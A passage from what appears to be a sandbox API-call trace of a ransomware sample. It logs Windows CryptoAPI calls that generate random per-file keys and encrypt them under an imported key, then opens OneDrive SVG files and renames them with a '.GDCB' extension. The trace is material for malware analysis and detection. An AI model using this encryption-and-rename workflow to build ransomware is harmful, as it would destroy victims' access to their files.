phKey=0x285cfa8*=0x4f2bd48) returned 1 [0180.562] CryptGetKeyParam (in: hKey=0x4f2bd48, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.562] CryptEncrypt (in: hKey=0x4f2bd48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x54c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.562] GetLastError () returned 0x0 [0180.562] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.562] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.564] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c348) returned 1 [0180.564] CryptGetKeyParam (in: hKey=0x4f2c348, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.564] CryptEncrypt (in: hKey=0x4f2c348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x54d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.564] GetLastError () returned 0x0 [0180.564] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.564] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\iceBucket.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\icebucket.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.567] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.569] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.569] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.569] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0180.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.570] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.571] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.573] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c388) returned 1 [0180.573] CryptGetKeyParam (in: hKey=0x4f2c388, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.573] CryptEncrypt (in: hKey=0x4f2c388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x54e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.573] GetLastError () returned 0x0 [0180.573] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.573] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.593] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c088) returned 1 [0180.593] CryptGetKeyParam (in: hKey=0x4f2c088, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.593] CryptEncrypt (in: hKey=0x4f2c088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x54f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.593] GetLastError () returned 0x0 [0180.593] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.593] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\loading.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0180.595] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5500000 [0180.596] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5510000 [0180.597] ReadFile (in: hFile=0x518, lpBuffer=0x5510000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5510000*, lpNumberOfBytesRead=0x285d160*=0x2ce, lpOverlapped=0x0) returned 1 [0180.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0x5620000 [0180.610] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\loading.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\loading.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\loading.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\loading.svg.gdcb")) returned 0 [0180.613] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.615] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.615] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.615] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.615] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.616] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.617] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.617] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.617] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.619] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2be88) returned 1 [0180.619] CryptGetKeyParam (in: hKey=0x4f2be88, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.619] CryptEncrypt (in: hKey=0x4f2be88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x54e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.619] GetLastError () returned 0x0 [0180.619] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.619] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0180.621] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c108) returned 1 [0180.622] CryptGetKeyParam (in: hKey=0x4f2c108, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.622] CryptEncrypt (in: hKey=0x4f2c108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x54f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x54f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.622] GetLastError () returned 0x0 [0180.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.622] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandFiles.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandfiles.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.622] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0180.624] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.624] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.625] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.625] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.625] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.626] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.626] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.626] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.626] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.627] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0180.629] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c0c8) returned 1 [0180.629] CryptGetKeyParam (in: hKey=0x4f2c0c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.629] CryptEncrypt (in: hKey=0x4f2c0c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5500000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5500000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.629] GetLastError () returned 0x0 [0180.629] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.629] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.631] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c008) returned 1 [0180.631] CryptGetKeyParam (in: hKey=0x4f2c008, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.631] CryptEncrypt (in: hKey=0x4f2c008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5510000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5510000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.631] GetLastError () returned 0x0 [0180.631] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.631] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onDemandSelectiveSync.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\ondemandselectivesync.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.632] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0180.633] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.634] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.634] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.634] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.634] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.636] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.636] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.636] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0180.638] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c248) returned 1 [0180.638] CryptGetKeyParam (in: hKey=0x4f2c248, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.638] CryptEncrypt (in: hKey=0x4f2c248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5520000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5520000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.638] GetLastError () returned 0x0 [0180.638] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.638] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0180.640] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c288) returned 1 [0180.640] CryptGetKeyParam (in: hKey=0x4f2c288, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.640] CryptEncrypt (in: hKey=0x4f2c288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5530000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5530000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.641] GetLastError () returned 0x0 [0180.641] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.641] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\onedrivePremium.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\onedrivepremium.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.641] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.642] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.643] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.643] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.643] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.643] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0180.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.645] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.645] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.645] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0180.645] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0180.647] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c3c8) returned 1 [0180.647] CryptGetKeyParam (in: hKey=0x4f2c3c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.647] CryptEncrypt (in: hKey=0x4f2c3c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5540000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5540000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.647] GetLastError () returned 0x0 [0180.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.647] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0180.649] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c188) returned 1 [0180.649] CryptGetKeyParam (in: hKey=0x4f2c188, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.649] CryptEncrypt (in: hKey=0x4f2c188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5550000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5550000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.649] GetLastError () returned 0x0 [0180.649] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0180.649] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\partiallyFreezing.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\partiallyfreezing.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.652] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0180.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.655] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.655] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0180.655] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.655] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0180.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0180.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0180.656] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0180.656] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0180.656] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0180.658] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2be08) returned 1 [0180.659] CryptGetKeyParam (in: hKey=0x4f2be08, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.659] CryptEncrypt (in: hKey=0x4f2be08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5560000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5560000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0180.659] GetLastError () returned 0x0 [0180.659] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.659] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0180.661] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f2c2c8) returned 1 [0180.661] CryptGetKeyParam (in: hKey=0x4f2c2c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0180.661] CryptEncrypt (in: hKey=0x4f2c2c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5570000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5570000*, pdwDataLen=0x285d120*=0x100) returned 1 [0180.661] GetLastError () returned 0x0 [0180.661] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0180.661] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settings.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\settings.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0180.663] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5580000 [0180.664] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5590000 [0180.665] ReadFile (in: hFile=0x518, lpBuffer=0x5590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5590000*, lpNumberOfBytesRead=0x285d160*=0x56d, lpOverlapped=0x0) returned 1 [0180.674] VirtualAlloc (lpAddress=0x0, dwSize=0x570, flAllocationType=0x3000, flProtect=0x4) returned 0x56a0000 [0180.678] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\settings.svg" (normalized: "c:\\documents and 